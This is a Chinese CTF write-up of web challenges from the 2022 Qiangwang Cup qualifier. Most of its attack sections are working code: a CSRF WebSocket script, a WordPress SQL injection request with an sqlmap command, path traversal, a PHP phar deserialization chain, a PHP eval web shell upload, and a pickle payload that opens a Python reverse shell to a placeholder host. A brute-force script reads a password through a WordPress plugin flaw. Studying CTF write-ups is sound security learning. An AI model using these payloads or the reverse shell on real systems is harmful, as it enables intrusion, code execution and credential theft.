2022 强网杯 线上预选赛 部分题解

只有强网先锋的命。

babyweb

题目提示如下。

1
2
3
4
5
6
7
你: help
bot:
1. help: 帮助菜单
2. changepw: 修改密码
示例: changepw 123456
3. bugreport: 向管理员报告漏洞页面
示例: bugreport http://host:port/login

构造CSRF,修改管理员密码。

1
2
3
4
5
6
7
8
<script>
var ws = null;
var url = "ws://127.0.0.1:8888/bot";
ws = new WebSocket(url);
ws.onopen = function(event) {
ws.send("changepw 123456")
}
</script>

然后上号,买了个hint,提示给了个源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# app.py
@app.route("/buy", methods=['POST'])
def buy():
if not session:
return redirect('/login')
elif session['user'] != 'admin':
return "you are not admin"
else :
result = {}
data = request.get_json()
product = data["product"]
for i in product:
if not isinstance(i["id"],int) or not isinstance(i["num"],int):
return "not int"
if i["id"] not in (1,2):
return "id error"
if i["num"] not in (0,1,2,3,4,5):
return "num error"
result[i["id"]] = i["num"]
sql = "select money,flag,hint from qwb where username='admin'"
conn = sqlite3.connect('/root/py/test.db')
c = conn.cursor()
cursor = c.execute(sql)
for row in cursor:
if len(row):
money = row[0]
flag = row[1]
hint = row[2]
data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:] #secret已打码
r = requests.post("http://127.0.0.1:10002/pay",data).text
r = json.loads(r)
if r["error"] != 0:
return r["error"]
money = int(r["money"])
hint = hint + result[1]
flag = flag + result[2]
sql = "update qwb set money={},hint={},flag={} where username='admin'".format(money,hint,flag)
conn = sqlite3.connect('/root/py/test.db')
c = conn.cursor()
try:
c.execute(sql)
conn.commit()
except Exception as e:
conn.rollback()
c.close()
conn.close()
return "database error"
return "success"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// pay.go
package main

import (
"github.com/buger/jsonparser"
"fmt"
"net/http"
"io/ioutil"
"io"
)

func pay(w http.ResponseWriter, r *http.Request) {
var cost int64 = 0
var err1 int64 = 0
json, _ := ioutil.ReadAll(r.Body)
secret, err := jsonparser.GetString(json, "secret")
if err != nil {
fmt.Println(err)
}
if secret != "xxxx"{ //secret已打码
io.WriteString(w, "{\"error\": \"secret error\"}")
return
}
money, err := jsonparser.GetInt(json, "money")
if err != nil {
fmt.Println(err)
}
_, err = jsonparser.ArrayEach(
json,
func(value []byte, dataType jsonparser.ValueType, offset int, err error) {
id, _ := jsonparser.GetInt(value, "id")
num, _ := jsonparser.GetInt(value, "num")
if id == 1{
cost = cost + 200 * num
}else if id == 2{
cost = cost + 1000 * num
}else{
err1 = 1
}
},
"product")
if err != nil {
fmt.Println(err)
}
if err1 == 1{
io.WriteString(w, "{\"error\": \"id error\"}")
return
}
if cost > money{
io.WriteString(w, "{\"error\": \"Sorry, your credit is running low!\"}")
return
}
money = money - cost
io.WriteString(w, fmt.Sprintf("{\"error\":0,\"money\": %d}", money))
}

func main() {
mux := http.NewServeMux()
mux.HandleFunc("/pay", pay)
http.ListenAndServe(":10002", mux)
}

大意是通过Python解析一遍请求包进行安全检查后,再转交给Golang处理数据。

绕过的原理是利用JSON解析的差异,例如:

1
2
3
4
5
{
"id": 2,
"num": -1,
"num": 0
}

对以上数据,Python获取到的是最后一个num的值,而Golang获取到的是第一个num的值。

因此构造如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"product": [
{
"id": 1,
"num": 0
},
{
"id": 2,
"num": -1,
"num": 0
}
]
}

easylogin

wpscan扫了一下,是5.8.2,有个注入,CVE-2022-21661

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 47.104.251.7:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.99
Connection: close
Upgrade-Insecure_Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 309

action=aa&query_vars%5Btax_query%5D%5B1%5D%5Binclude_children%5D=1&query_vars%5Btax_query%5D%5B1%5D%5Bterms%5D%5B1%5D=*&query_vars%5Btax_query%5D%5B1%5D%5Bfield%5D=term_taxonomy_id

然后上SQLMAP

1
sqlmap -r sql.txt -batch --thread 10 --tamper=space2comment --random-agent --level 3 --technique E --dbs

注出mdl_user_password_resets里的session用于修改管理员密码,或者运气好可以去mdl_sessions里上车。

然后就是CVE-2020-14321一把梭。

easyweb

先是任意文件读取。

1
GET /showfile.php?f=guest/../../../../../../../../../etc/passwd

然后拿到源码,但拿不到showfile.php的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
// upload.php
<?php
error_reporting(0);
require_once('class.php');
if (isset($_SESSION)) {
if (isset($_GET['fname']) ? !empty($_GET['fname']) : FALSE) {
$_FILES["file"]["name"] = $_GET['fname'];
}
$upload = new Upload();
$upload->upload();
} else {
die("<p class='tip'>guest can not upload file</p>");
}
?>

// class.php
<?php

class Upload
{
public $file;
public $filesize;
public $date;
public $tmp;

function __construct()
{
$this->file = $_FILES["file"];
}

function do_upload()
{
$filename = session_id() . explode(".", $this->file["name"])[0] . ".jpg";
if (file_exists($filename)) {
unlink($filename);
}
move_uploaded_file($this->file["tmp_name"], md5("2022qwb" . $_SERVER['REMOTE_ADDR']) . "/" . $filename);
echo 'upload ' . "./" . md5("2022qwb" . $_SERVER['REMOTE_ADDR']) . "/" . $this->e($filename) . ' success!';
}

function e($str)
{
return htmlspecialchars($str);
}

function upload()
{
if ($this->check()) {
$this->do_upload();
}
}

function __toString()
{
return $this->file["name"];
}

function __get($value)
{
$this->filesize->$value = $this->date;
echo $this->tmp;
}

function check()
{
$allowed_types = array("jpg", "png", "jpeg");
$temp = explode(".", $this->file["name"]);
$extension = end($temp);
if (in_array($extension, $allowed_types)) {
return true;
} else {
echo 'Invalid file!';
return false;
}
}
}

class GuestShow
{
public $file;
public $contents;
public function __construct($file)
{

$this->file=$file;
}
function __toString()
{
$str = $this->file->name;
return "";
}

function __get($value)
{
return $this->$value;
}

function show()
{
$this->contents = file_get_contents($this->file);
$src = "data:jpg;base64," . base64_encode($this->contents);
echo "<img src={$src} />";
}

function __destruct()
{
echo $this;
}
}


class AdminShow
{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
$this->schema = 'file:///var/www/html/';
}
public function __toString()
{
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return $content;
}

public function __get($value)
{
$this->show();
return $this->$value;
}

public function __set($key, $value)
{
$this->$key = $value;
}

public function show()
{
if (preg_match('/usr|auto|log/i', $this->source)) {
die("error");
}
$url = $this->schema . $this->source;
var_dump($url);
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
$response = curl_exec($curl);
curl_close($curl);
$src = "data:jpg;base64," . base64_encode($response);
echo "<img src={$src} />";

}

public function __wakeup()
{
if ($this->schema !== 'file:///var/www/html/') {
$this->schema = 'file:///var/www/html/';
}
if ($this->source !== 'admin.png') {
$this->source = 'admin.png';
}
}
}
?>

// index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<title>神奇的照片墙</title>
<!-- css -->
<style>
// ...
</style>
</head>

<body>
<h1>欢迎来到强网杯照片墙</h1>

<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交"><br>
<a href="showfile.php?f=./demo.png">查看照片</a>

<?php
$upload = md5("2022qwb" . $_SERVER['REMOTE_ADDR']);
@mkdir($upload, 0333, true);
if (isset($_POST['submit'])) {
include 'upload.php';
}
?>

</form>
</body>

可以使用Phar协议读取,结合class.php的内容得出是Phar反序列化,结合PHP_SESSION_UPLOAD_PROGRESS上传绕过upload.php中的session校验。

以及结合题目提示的【照片墙的内部系统中可能还有什么系统】,以及AdminShow类中的curl请求,猜测还需要进行SSRF。然后从/proc/net/arp里读了个10.10.10.10

构造POP链,绕的一比。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
class GuestShow{
public $file;
public $contents;
public function __construct()
{
}
}
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
function __construct(){

}
}
class AdminShow{
public $source;
public $str;
public $filter;
public function __construct()
{

}
}
$a = new GuestShow();
$a->file = new Upload();
$a->file->filesize = new GuestShow();
$a->file->tmp=new AdminShow();
$b = new Upload();
$b->filesize = new AdminShow();
$b->date = "";
$b->tmp = new GuestShow();

$c = new Upload();
$c->filesize = $b->filesize;
$c->date = "http://10.10.10.10/";
$c->tmp = new GuestShow();

$a->file->tmp->str[0] = $b;
$a->file->tmp->str[1] = $c;
$b->tmp->file = $b->filesize;
$c->tmp->file = $b->filesize;

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

上传脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests


def generate_exp():
url = "http://127.0.0.1:8888/exp.php"
r = requests.get(url=url)


def post_exp():
url = "http://47.104.95.124:8080/upload.php"
header = {"Cookie": "PHPSESSID=dcgsisq1ocelvqa0rk023n5aar"}
content = open("phar.phar", 'rb').read()
r = requests.post(url=url,
data={'PHP_SESSION_UPLOAD_PROGRESS': content},
files={'file': ('demodemo.jpg', content)},
headers=header)
print(r.text)

返回了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
//内网资源阅读器-测试机
//配置信息请看phpinfo.php

highlight_file(__FILE__);

if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);

echo $result;
}

if($_SERVER['REMOTE_ADDR']==='10.10.10.101'||$_SERVER['REMOTE_ADDR']==='100.100.100.101'){
system('cat /flag');
die();
}

?>

再直接构造如下。

1
http://10.10.10.10/?url=file:///flag

crash

好像是非预期了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import base64
# import sqlite3
import pickle
import random

import admin
from flask import Flask, make_response, request, session

app = Flask(__name__, static_url_path='')
app.secret_key = random.randbytes(12)


class User:
def __init__(self, username, password):
self.username = username
self.token = hash(password)


def get_password(username):
if username == "admin":
return admin.secret
else:
# conn=sqlite3.connect("user.db")
# cursor=conn.cursor()
# cursor.execute(f"select password from usertable where username='{username}'")
# data=cursor.fetchall()[0]
# if data:
# return data[0]
# else:
# return None
return session.get("password")


@app.route('/balancer', methods=['GET', 'POST'])
def flag():
pickle_data = base64.b64decode(request.cookies.get("userdata"))
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"
os.system("rm -rf *py*")
userdata = pickle.loads(pickle_data)
if userdata.token != hash(get_password(userdata.username)):
return "Login First"
if userdata.username == 'admin':
return "Welcome admin, here is your next challenge!"
return "You're not admin!"


@app.route('/login', methods=['GET', 'POST'])
def login():
resp = make_response("success")
session["password"] = request.values.get("password")
resp.set_cookie("userdata", base64.b64encode(
pickle.dumps(User(request.values.get("username"), request.values.get("password")), 2)), max_age=3600)
return resp


@app.route('/', methods=['GET', 'POST'])
def index():
return open('source.txt', "r").read()


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

Pickle反序列化。

1
2
3
4
5
6
7
8
import base64

payload = """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(), 2); p=subprocess.call(["/bin/sh","-i"]);"""
b64_p = base64.b64encode(payload.encode())
print(b64_p.decode())
a = b'(cos\nsystem\nVecho %s | base64 -d > 3.py &&python3 3.py\no.' % b64_p

print("userdata=" + base64.b64encode(a).decode())

根据题目提示构造504界面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import base64

text = """import time

from flask import Flask

app = Flask(__name__)


@app.route('/test')
def info():
time.sleep(9999999)
return 'test'


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)"""

print("echo %s | base64 -d > test.py && python3 test.py" % base64.b64encode(text.encode()).decode())

rcefile

扫目录,给了www.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// config.inc.php
<?php
spl_autoload_register();
error_reporting(0);

function e($str)
{
return htmlspecialchars($str);
}

$userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]);
?>
<p>
<a href="/index.php">Index</a>
<a href="/showfile.php">files</a>
</p>

// upload.php
<?php
include "config.inc.php";

$file = $_FILES["file"];
if ($file["error"] == 0) {
if ($_FILES["file"]['size'] > 0 && $_FILES["file"]['size'] < 102400) {
$typeArr = explode("/", $file["type"]);
$imgType = array("png", "jpg", "jpeg");
if (!$typeArr[0] == "image" | !in_array($typeArr[1], $imgType)) {
exit("type error");
}
$blackext = ["php", "php5", "php3", "html", "swf", "htm", "phtml"];
$filearray = pathinfo($file["name"]);
$ext = $filearray["extension"];
if (in_array($ext, $blackext)) {
exit("extension error");
}
$imgname = md5(time()) . "." . $ext;
if (move_uploaded_file($_FILES["file"]["tmp_name"], "./" . $imgname)) {
array_push($userfile, $imgname);
setcookie("userfile", serialize($userfile), time() + 3600 * 10);
$msg = e("file: {$imgname}");
echo $msg;
} else {
echo "upload failed!";
}
}
} else {
exit("error");
}
?>

文件上传,注意到spl_autoload_register()这个方法,默认自动加载目录下后缀为incphp的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /upload.php HTTP/1.1
Host: eci-2ze2ahooasratwvnc3gc.cloudeci1.ichunqiu.com
Content-Length: 1152
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze2ahooasratwvnc3gc.cloudeci1.ichunqiu.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryirGAlp1k5trAkWST
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze2ahooasratwvnc3gc.cloudeci1.ichunqiu.com/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: userfile=a%3A2%3A%7Bi%3A0%3Bs%3A36%3A%22bdabbec69fa7f7817209f34476ceeab2.inc%22%3Bi%3A1%3Bs%3A36%3A%228f279b4536aec0818f5292475f928ff4.jpg%22%3B%7D
Connection: close

------WebKitFormBoundaryirGAlp1k5trAkWST
Content-Disposition: form-data; name="file"; filename="south.inc"
Content-Type: image/jpeg

<?php eval($_POST['south']);?>
------WebKitFormBoundaryirGAlp1k5trAkWST--

然后cookie处给userfile一个反序列化字符串,将spl_autoload_register()方法加载进来的内容进行反序列化,类名即文件名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /showfile.php HTTP/1.1
Host: eci-2ze2ahooasratwvnc3gc.cloudeci1.ichunqiu.com
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze2ahooasratwvnc3gc.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze2ahooasratwvnc3gc.cloudeci1.ichunqiu.com/showfile.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: userfile=O:32:"f1bf541922866b8af988fe8a0080a45c":0:{}
Connection: close

south=system%28%27cat+%2Fflag%27%29%3B

WP-UM

题目提示。

1
2
3
猫哥最近用wordpress搭建了一个个人博客,粗心的猫哥因为记性差,所以把管理员10位的账号作为文件名放在/username下和15位的密码作为文件名放在/password下。
并且存放的时候猫哥分成一个数字(作为字母在密码中的顺序)+一个大写或小写字母一个文件,例如admin分成5个文件,文件名是1a 2d 3m 4i 5n
这几天他发现了一个特别好用的wordpress插件,在他开心的时候,可是倒霉的猫哥却不知道危险的存在。

根据插件User Meta猜测是CVE-2022-0779,用户名已给出MaoGePaMao,根据dockerfile拿到路径是/password/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import string

import requests

for j in range(20):
for i in string.ascii_letters + string.digits:
burp0_url = "http://eci-2ze9ta9edjrri34x6quu.cloudeci1.ichunqiu.com:80/wp-admin/admin-ajax.php"
burp0_cookies = {
"wordpress_945fc09f9fc43687ccf959db02ecaf45": "south%7C1659408111%7CYWQvsxTWQkfN0G6SJfE1igTuSVdQpeBo4I5hQRHxPOD%7C74d4b198bdd387d32810c0857a838372b4e1d452b946f50ed38d904388e07a34",
"wordpress_logged_in_945fc09f9fc43687ccf959db02ecaf45": "south%7C1659408111%7CYWQvsxTWQkfN0G6SJfE1igTuSVdQpeBo4I5hQRHxPOD%7C5b0af441d41b94827cf31d69758ca92f902616a95558444eb92cc9dee011d9bb",
"wp-settings-time-2": "1659236134"}
burp0_headers = {"Accept": "*/*", "X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Origin": "http://eci-2ze9ta9edjrri34x6quu.cloudeci1.ichunqiu.com",
"Referer": "http://eci-2ze9ta9edjrri34x6quu.cloudeci1.ichunqiu.com/index.php/upload/",
"Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = {"field_name": "upload",
"filepath": "/../../../../../../../../../../../../../../password/" + str(j) + i,
"field_id": "um_field_2", "form_key": "upload", "action": "um_show_uploaded_file",
"pf_nonce": "6ca6fde673", "is_ajax": "true"}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
if "um_remove_file" in r.text:
print(i, end="")
break

拿到密码是MaoGeYaoQiFeiLa,上去后主题文件写马,flag/usr/local/This_1s_secret下面。

Refer

JSON Parsers 差异安全问题探索

CVE-2022-21661

CVE-2020-14321

CVE-2019-17221

Web狗如何在CTF中苟到最后

CVE-2022-0779